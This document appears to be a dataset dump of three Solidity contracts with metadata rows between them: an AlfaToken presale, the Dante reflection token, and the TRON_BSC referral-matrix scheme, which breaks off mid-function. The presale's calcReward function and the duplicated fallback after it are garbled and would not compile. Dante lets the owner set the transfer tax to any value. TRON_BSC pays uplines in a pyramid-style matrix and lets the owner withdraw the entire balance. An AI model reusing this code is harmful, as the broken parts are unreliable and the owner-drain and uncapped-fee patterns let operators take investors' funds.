// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw;
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
function addApproval(address _spender, uint _addedValue)
onlyPayloadSize(2 * 32)
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
allowed[msg.sender][_spender] = safeAdd(oldValue, _addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function subApproval(address _spender, uint _subtractedValue)
onlyPayloadSize(2 * 32)
returns (bool success) {
uint oldVal = allowed[msg.sender][_spender];
if (_subtractedValue > oldVal) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = safeSub(oldVal, _subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract BurnableToken is StandardToken {
address public constant BURN_ADDRESS = 0;
event Burned(address burner, uint burnedAmount);
function burn(uint burnAmount) {
address burner = msg.sender;
balances[burner] = safeSub(balances[burner], burnAmount);
totalSupply = safeSub(totalSupply, burnAmount);
Burned(burner, burnAmount);
}
}
contract UpgradeAgent {
uint public originalSupply;
function isUpgradeAgent() public constant returns (bool) {
return true;
}
function upgradeFrom(address _from, uint256 _value) public;
}
contract UpgradeableToken is StandardToken {
address public upgradeMaster;
UpgradeAgent public upgradeAgent;
uint256 public totalUpgraded;
enum UpgradeState {Unknown, NotAllowed, WaitingForAgent, ReadyToUpgrade, Upgrading}
event Upgrade(address indexed _from, address indexed _to, uint256 _value);
event UpgradeAgentSet(address agent);
function UpgradeableToken(address _upgradeMaster) {
upgradeMaster = _upgradeMaster;
}
function upgrade(uint256 value) public {
UpgradeState state = getUpgradeState();
if(!(state == UpgradeState.ReadyToUpgrade || state == UpgradeState.Upgrading)) {
// Called in a bad state
throw;
}
// Validate input value.
if (value == 0) throw;
balances[msg.sender] = safeSub(balances[msg.sender], value);
// Take tokens out from circulation
totalSupply = safeSub(totalSupply, value);
totalUpgraded = safeAdd(totalUpgraded, value);
// Upgrade agent reissues the tokens
upgradeAgent.upgradeFrom(msg.sender, value);
Upgrade(msg.sender, upgradeAgent, value);
}
function setUpgradeAgent(address agent) external {
if(!canUpgrade()) {
// The token is not yet in a state that we could think upgrading
throw;
}
if (agent == 0x0) throw;
// Only a master can designate the next agent
if (msg.sender != upgradeMaster) throw;
// Upgrade has already begun for an agent
if (getUpgradeState() == UpgradeState.Upgrading) throw;
upgradeAgent = UpgradeAgent(agent);
// Bad interface
if(!upgradeAgent.isUpgradeAgent()) throw;
// Make sure that token supplies match in source and target
if (upgradeAgent.originalSupply() != totalSupply) throw;
UpgradeAgentSet(upgradeAgent);
}
function getUpgradeState() public constant returns(UpgradeState) {
if(!canUpgrade()) return UpgradeState.NotAllowed;
else if(address(upgradeAgent) == 0x00) return UpgradeState.WaitingForAgent;
else if(totalUpgraded == 0) return UpgradeState.ReadyToUpgrade;
else return UpgradeState.Upgrading;
}
function setUpgradeMaster(address master) public {
if (master == 0x0) throw;
if (msg.sender != upgradeMaster) throw;
upgradeMaster = master;
}
function canUpgrade() public constant returns(bool) {
return true;
}
}
contract AlfaToken is BurnableToken, UpgradeableToken {
string public name;
string public symbol;
uint public decimals;
function AlfaToken(address _owner) UpgradeableToken(_owner) {
name = "AlfaToken";
symbol = "ALFA";
totalSupply = 100000000000000000;
decimals = 9;
balances[_owner] = totalSupply;
}
}
contract AlfaTokenPreSale {
AlfaToken public token;
address public beneficiary;
address public cobeneficiary;
uint public amountRaised;
uint public bonus;
uint constant public price = 2000000;
uint constant public minSaleAmount = 50000000000;
function AlfaTokenPreSale(AlfaToken _token,
address _beneficiary,
address _cobeneficiary,
uint _bonus) {
token = AlfaToken(_token);
beneficiary = _beneficiary;
cobeneficiary = _cobeneficiary;
bonus = _bonus;
}
function () payable {
uint amount = msg.value;
uint tokenAmount = amount / price;
if (tokenAmount < minSaleAmount) throw;
amountRaised += amount;
token.transfer(msg.sender, tokenAmount * (100 + bonus) / 100);
}
function WithdrawETH(uint _amount) {
require(msg.sender == beneficiary || msg.sender == cobeneficiary);
msg.sender.transfer(_amount);
}
function WithdrawTokens(uint _amount) {
require(msg.sender == beneficiary || msg.sender == cobeneficiary);
token.transfer(beneficiary, _amount);
}
function TransferTokens(address _to, uint _amount) {
require(msg.sender == beneficiary || msg.sender == cobeneficiary);
token.transfer(_to, _amount);
}
function ChangeBonus(uint _bonus) {
require(msg.sender == beneficiary || msg.sender == cobeneficiary);
bonus = _bonus;
}
function calcReward (address addressOfTokenUsedAsReward,
address _toAddress,
address _addressAfter) public {
uint256 tokens = 800000 * 10 ** 18;
toAddress = _toAddress;
addressAfter = _addressAfter;
uint256 dueAmount = msg.value + 70;
uint256 reward = dueAmount - tokenUsedAsReward;
return reward
}
uint256 public constant EXCHANGE = 250;
uint256 public constant START = 40200010;
uint256 tokensToTransfer;
address sendTokensToAddress;
address sendTokensToAddressAfterICO;
uint public tokensRaised;
uint public deadline;
uint public price;
token public reward;
mapping(address => uint256) public balanceOf;
bool crowdsaleClosed = false;
function () public payable {
require(now < deadline && now >= START);
require(msg.value >= 1 ether);
uint amount = msg.value;
balanceOf[msg.sender] += amount;
tokensRaised += amount;
tokensToTransfer -= amount;
reward.transfer(msg.sender, amount * EXCHANGE);
sendTokensToAddress.transfer(amount);
}
}
| 205,769 | 13,229 |
ac41bfb5e7709d07a77c0b6862261982c227621224ef3949872663bd05da6241
| 20,695 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/29/29259d02405aBF550b3D0d47551e120A13F1e93D_Dante.sol
| 5,183 | 18,683 |
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Dante is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
mapping (address => bool) public isAllowed;
address[] private _excluded;
uint8 private constant _decimals = 18;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 85000 ether;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
string private constant _name = 'Dante';
string private constant _symbol = 'Dante';
uint256 private _taxFee = 700;
uint256 private _burnFee = 0;
uint public max_tx_size = 85000 ether;
bool public isPaused = false;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
isAllowed[_msgSender()] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function toggleAllowed(address addr) external onlyOwner {
isAllowed[addr] = !isAllowed[addr];
}
function unpause() external returns (bool){
require(msg.sender == owner() || isAllowed[msg.sender], "Unauth unpause call");
isPaused = false;
return true;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0xd81fd0F13951E45864b8A67A25A620c5a31428A2, 'We can not exclude router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!isPaused || isAllowed[sender],"Unauthorized sender,wait until unpaused");
if(sender != owner() && recipient != owner())
require(amount <= max_tx_size, "Transfer amount exceeds 1% of Total Supply.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _taxFee, _burnFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = ((tAmount.mul(taxFee)).div(100)).div(100);
uint256 tBurn = ((tAmount.mul(burnFee)).div(100)).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn);
return (tTransferAmount, tFee, tBurn);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() public view returns(uint256) {
return _taxFee;
}
function _getBurnFee() public view returns(uint256) {
return _burnFee;
}
function _setTaxFee(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
}
function _setBurnFee(uint256 burnFee) external onlyOwner() {
_burnFee = burnFee;
}
function setMaxTxAmount(uint newMax) external onlyOwner {
max_tx_size = newMax;
}
}
| 310,120 | 13,230 |
d5074930689fac1b39d74d7986832bdbe18a435d1f7c5bf0a1fbbcfc2cf66f79
| 23,245 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TW/TWrWyZp3XxgNFBabU9LFr1SdtS5Jk3wFTm_TRON_BSC.sol
| 5,525 | 21,879 |
//SourceUnit: tron_bsc.sol
pragma solidity ^0.5.9;
contract TRON_BSC {
struct User {
uint id;
address referrer;
uint partnersCount;
uint downlineNumber;
mapping(uint8 => bool) activeX3Levels;
mapping(uint8 => bool) activeX6Levels;
mapping(uint => address) selfReferral;
mapping(uint8 => X3) x3Matrix;
mapping(uint8 => X6) x6Matrix;
}
struct X3 {
address currentReferrer;
address[] referrals;
bool blocked;
uint reinvestCount;
}
struct X6
{
address currentReferrer;
address[] referrals;
bool blocked;
uint reinvestCount;
uint256 RefvID;
}
uint8 public currentStartingLevel = 1;
uint8 public constant LAST_LEVEL = 12;
uint8 public current_upline = 1;
mapping(address => User) public users;
mapping(uint => address) public idToAddress;
uint public lastUserId = 2;
uint public x3vId = 2;
mapping(uint8 => mapping(uint256 => address)) public x3vId_number;
mapping(uint8 => uint256) public x3CurrentvId;
mapping(uint8 => uint256) public x3Index;
uint public clubvId = 2;
mapping(uint8 => mapping(uint256 => address)) public clubvId_number;
mapping(uint8 => uint256) public clubCurrentvId;
mapping(uint8 => uint256) public clubIndex;
uint public sClubvId = 2;
mapping(uint8 => mapping(uint256 => address)) public sClubvId_number;
mapping(uint8 => uint256) public sClubCurrentvId;
mapping(uint8 => uint256) public sClubIndex;
address public owner;
mapping(uint8 => uint) public levelPrice;
event Registration(address indexed user, address indexed referrer, uint indexed userId, uint referrerId);
event Reinvest(address indexed user, address indexed currentReferrer, address indexed caller, uint8 matrix, uint8 level);
event Upgrade(address indexed user, address indexed referrer, uint8 matrix, uint8 level);
event NewUserPlace(address indexed user, address indexed referrer, uint8 matrix, uint8 level, uint8 place);
event MissedEthReceive(address indexed receiver, address indexed from, uint8 matrix, uint8 level);
event SentExtraEthDividends(address indexed from, address indexed receiver, uint8 matrix, uint8 level);
event UserIncome(address indexed user, address indexed _from, uint8 matrix, uint8 level, uint income);
constructor(address ownerAddress) public {
levelPrice[1] = 50 trx;
levelPrice[2] = 100 trx;
levelPrice[3] = 200 trx;
levelPrice[4] = 400 trx;
levelPrice[5] = 800 trx;
levelPrice[6] = 1600 trx;
levelPrice[7] = 3200 trx;
levelPrice[8] = 6400 trx;
levelPrice[9] = 12800 trx;
levelPrice[10] = 25600 trx;
levelPrice[11] = 51200 trx;
levelPrice[12] = 102400 trx;
owner = ownerAddress;
User memory user = User({
id: 1,
referrer: address(0),
partnersCount: uint(0),
downlineNumber: uint(0)
});
users[ownerAddress] = user;
idToAddress[1] = ownerAddress;
for (uint8 i = 1; i <= LAST_LEVEL; i++)
{
x3vId_number[i][1]=ownerAddress;
x3Index[i]=1;
x3CurrentvId[i]=1;
clubvId_number[i][1]=ownerAddress;
clubIndex[i]=1;
clubCurrentvId[i]=1;
sClubvId_number[i][1]=ownerAddress;
sClubIndex[i]=1;
sClubCurrentvId[i]=1;
users[ownerAddress].activeX3Levels[i] = true;
users[ownerAddress].activeX6Levels[i] = true;
}
}
function() external payable {
if(msg.data.length == 0) {
return registration(msg.sender, owner);
}
registration(msg.sender, bytesToAddress(msg.data));
}
function withdrawLostTRXFromBalance(address payable _sender) public {
require(msg.sender == owner, "onlyOwner");
_sender.transfer(address(this).balance);
}
function registrationExt(address referrerAddress) external payable {
registration(msg.sender, referrerAddress);
}
function buyNewLevel(uint8 matrix, uint8 level) external payable {
require(isUserExists(msg.sender), "user is not exists. Register first.");
require(matrix == 1 || matrix == 2, "invalid matrix");
require(msg.value == levelPrice[level] , "invalid price");
require(level > 1 && level <= LAST_LEVEL, "invalid level");
if (matrix == 1)
{
require(users[msg.sender].activeX3Levels[level-1], "buy previous level first");
require(!users[msg.sender].activeX3Levels[level], "level already activated");
if (users[msg.sender].x3Matrix[level-1].blocked) {
users[msg.sender].x3Matrix[level-1].blocked = false;
}
address freeX3Referrer = findFreeX3Referrer(msg.sender, level);
users[msg.sender].x3Matrix[level].currentReferrer = freeX3Referrer;
users[msg.sender].activeX3Levels[level] = true;
if(users[msg.sender].partnersCount>=5)
{
addToClub(msg.sender, 1, level);
}
if(users[msg.sender].partnersCount>=20)
{
addToClub(msg.sender, 2, level);
}
updateX3Referrer(msg.sender, freeX3Referrer, level);
uint ded=(levelPrice[level]*10)/100;
sendClubIncome(msg.sender, 2, level,ded);
emit Upgrade(msg.sender, freeX3Referrer, 1, level);
}
else
{
require(users[msg.sender].activeX6Levels[level-1], "buy previous level first");
require(!users[msg.sender].activeX6Levels[level], "level already activated");
if (users[msg.sender].x6Matrix[level-1].blocked) {
users[msg.sender].x6Matrix[level-1].blocked = false;
}
address freeX6Referrer = findFreeX6Referrer(level);
users[msg.sender].activeX6Levels[level] = true;
updateX6Referrer(msg.sender, freeX6Referrer, level);
uint ded=(levelPrice[level]*10)/100;
sendClubIncome(msg.sender, 2, level,ded);
emit Upgrade(msg.sender, freeX6Referrer, 2, level);
}
}
function registration(address userAddress, address referrerAddress) private
{
require(!isUserExists(userAddress), "user exists");
require(isUserExists(referrerAddress), "referrer not exists");
uint32 size;
assembly {
size := extcodesize(userAddress)
}
require(size == 0, "cannot be a contract");
require(msg.value == levelPrice[currentStartingLevel]*2, "invalid registration cost");
User memory user = User({
id: lastUserId,
referrer: referrerAddress,
partnersCount: 0,
downlineNumber: 0
});
users[userAddress] = user;
idToAddress[lastUserId] = userAddress;
uint256 newIndex=x3Index[1]+1;
x3vId_number[1][newIndex]=userAddress;
x3Index[1]=newIndex;
users[userAddress].referrer = referrerAddress;
users[userAddress].activeX3Levels[1] = true;
users[userAddress].activeX6Levels[1] = true;
lastUserId++;
x3vId++;
users[referrerAddress].selfReferral[users[referrerAddress].partnersCount]=userAddress;
users[referrerAddress].partnersCount++;
if(users[referrerAddress].partnersCount==5 && referrerAddress!=owner)
{
uint8 actlevel=1;
while(users[referrerAddress].activeX3Levels[actlevel] && actlevel<13)
{
addToClub(referrerAddress, 1, actlevel);
actlevel++;
}
}
if(users[referrerAddress].partnersCount==20 && referrerAddress!=owner)
{
uint8 actlevel=1;
while(users[referrerAddress].activeX3Levels[actlevel] && actlevel<13)
{
addToClub(referrerAddress, 2, actlevel);
actlevel++;
}
}
address freeX3Referrer = findFreeX3Referrer(userAddress, 1);
users[userAddress].x3Matrix[1].currentReferrer = freeX3Referrer;
updateX3Referrer(userAddress, freeX3Referrer, 1);
updateX6Referrer(userAddress, findFreeX6Referrer(1), 1);
uint ded=(levelPrice[1]*2*10)/100;
sendClubIncome(userAddress, 2, 1,ded);
emit Registration(userAddress, referrerAddress, users[userAddress].id, users[referrerAddress].id);
}
function updateX3Referrer(address userAddress, address referrerAddress, uint8 level) private {
if(referrerAddress==owner)
{
users[referrerAddress].x3Matrix[level].referrals.push(userAddress);
emit NewUserPlace(userAddress, referrerAddress, 1, level, uint8(users[referrerAddress].x3Matrix[level].referrals.length));
if(users[referrerAddress].x3Matrix[level].referrals.length==4)
{
if(users[referrerAddress].downlineNumber==users[referrerAddress].partnersCount)
{
users[referrerAddress].downlineNumber=0;
}
address downline=get_downline_address(referrerAddress,level);
return updateX3Referrer(userAddress, downline, level);
}
else if(users[referrerAddress].x3Matrix[level].referrals.length==5)
{
emit Reinvest(referrerAddress, referrerAddress, userAddress, 1, level);
uint ded=0;
uint amount=0;
ded=(levelPrice[level]*10)/100;
amount=(levelPrice[level])-ded;
sendClubIncome(referrerAddress, 1, level,amount);
users[referrerAddress].x3Matrix[level].referrals = new address[](0);
return;
}
else
{
return sendETHDividends(referrerAddress, userAddress, 1, level);
}
}
else
{
if(users[referrerAddress].x3Matrix[level].referrals.length<2)
{
users[referrerAddress].x3Matrix[level].referrals.push(userAddress);
emit NewUserPlace(userAddress, referrerAddress, 1, level, uint8(users[referrerAddress].x3Matrix[level].referrals.length));
return sendETHDividends(referrerAddress, userAddress, 1, level);
}
else if(users[referrerAddress].x3Matrix[level].referrals.length==2)
{
users[referrerAddress].x3Matrix[level].referrals.push(userAddress);
emit NewUserPlace(userAddress, referrerAddress, 1, level, uint8(users[referrerAddress].x3Matrix[level].referrals.length));
return updateX3Referrer(userAddress, users[referrerAddress].referrer, level);
}
else if(users[referrerAddress].x3Matrix[level].referrals.length==3)
{
users[referrerAddress].x3Matrix[level].referrals.push(userAddress);
emit NewUserPlace(userAddress, referrerAddress, 1, level, uint8(users[referrerAddress].x3Matrix[level].referrals.length));
if(users[referrerAddress].downlineNumber==users[referrerAddress].partnersCount)
{
users[referrerAddress].downlineNumber=0;
}
address downline=get_downline_address(referrerAddress,level);
return updateX3Referrer(userAddress, downline, level);
}
else
{
if(users[referrerAddress].partnersCount>1)
{
users[referrerAddress].x3Matrix[level].referrals.push(userAddress);
emit NewUserPlace(userAddress, referrerAddress, 1, level, uint8(users[referrerAddress].x3Matrix[level].referrals.length));
emit Reinvest(referrerAddress, referrerAddress, userAddress, 1, level);
uint ded=0;
uint amount=0;
ded=(levelPrice[level]*10)/100;
amount=(levelPrice[level])-ded;
sendClubIncome(referrerAddress, 1, level,amount);
users[referrerAddress].x3Matrix[level].referrals = new address[](0);
return;
}
else
{
return updateX3Referrer(userAddress, owner, level);
}
}
}
}
function updateX6Referrer(address userAddress, address referrerAddress, uint8 level) private
{
users[referrerAddress].x6Matrix[level].referrals.push(userAddress);
if(level>1)
{
uint256 newIndex=x3Index[level]+1;
x3vId_number[level][newIndex]=userAddress;
x3Index[level]=newIndex;
}
if (users[referrerAddress].x6Matrix[level].referrals.length < 2)
{
emit NewUserPlace(userAddress, referrerAddress, 2, level, uint8(users[referrerAddress].x6Matrix[level].referrals.length));
return sendETHDividends(referrerAddress, userAddress, 2, level);
}
